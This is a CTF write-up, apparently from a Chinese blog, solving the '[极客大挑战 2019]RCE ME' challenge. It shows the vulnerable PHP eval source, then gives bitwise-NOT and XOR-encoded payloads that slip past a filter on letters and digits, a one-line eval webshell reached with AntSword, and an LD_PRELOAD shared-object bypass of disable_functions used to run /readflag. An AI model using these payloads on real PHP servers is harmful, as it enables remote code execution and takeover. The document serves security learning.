[极客大挑战 2019]RCE ME

访问页面,上源码;

<?php
error_reporting(0);
if(isset($_GET['code'])){
	$code=$_GET['code'];
    if(strlen($code)>40){
    	die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
         die("NO.");
    }
    @eval($code);
}
else{
	highlight_file(__FILE__);
}
 ?>

像这种过滤了英文字符和数字字符的立马想到编码绕过;
如果使用urlencode的话,不编码英文字符,所以想到可以取反;
字符先取反,但是基本都是无法打印出来的字符,所以urlencode一下;
先看看phpinfo();

<?php
	$hack = "phpinfo";
	echo urlencode(~$hack);

得到

%8F%97%8F%96%91%99%90

在赋值给code的时候再取反,相当于没有取反;

?code=(~%8F%97%8F%96%91%99%90)();

别忘记分号了;
成功执行了phpinfo()接下来要构造一个一句话木马;

assert(eval($_POST["klose"]));

要将它urlencode并取反的话,需要先作字符串赋值给变量,然后最后引入这个变量取反;
完整payload

<?php
	$a='assert';
	echo urlencode(~$a)."<br/>";
	$b='(eval($_POST["klose"]))';
	echo urlencode(~$b)."<br/>";
	?>

得到

%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%94%93%90%8C%9A%DD%A2%D6%D6

给code赋值

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%94%93%90%8C%9A%DD%A2%D6%D6);

然后用蚁剑连接;
发现根目录里有个空的flag文件,还有一个readflag可执行文件;
终端执行以下,但是发现这是个空shell;
空shell
到这里我就不会做了,只知道需要绕过禁用的函数去拿flag,但是不知道如何动手…
面向csdn程序设计,看了别人的文章,学习一下;
这个方法是利用linux提供的LD_preload环境变量来劫持共享so,然后在启动子进程的时候,新的子进程会加载恶意的so拓展,接着就可以在so里面定义同名函数,即可劫持API调用,成功RCE;
意思就是绕过了disabled_functions,仍然可以继续使用被禁用的函数;
参考链接
可以说还是很有用的;
Github上的EXP
上传bypass_disablefunc_x64.so和bypass_disablefunc.php到/var/temp;
把php文件改个名,方便一点;
重新构造payload

?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])

再加上对应的getshell文件和绕过exploit文件即为:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

上传得到flag;
在这里插入图片描述flag{f6765a95-8f96-4f5a-b8ad-ec2ba766e758}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值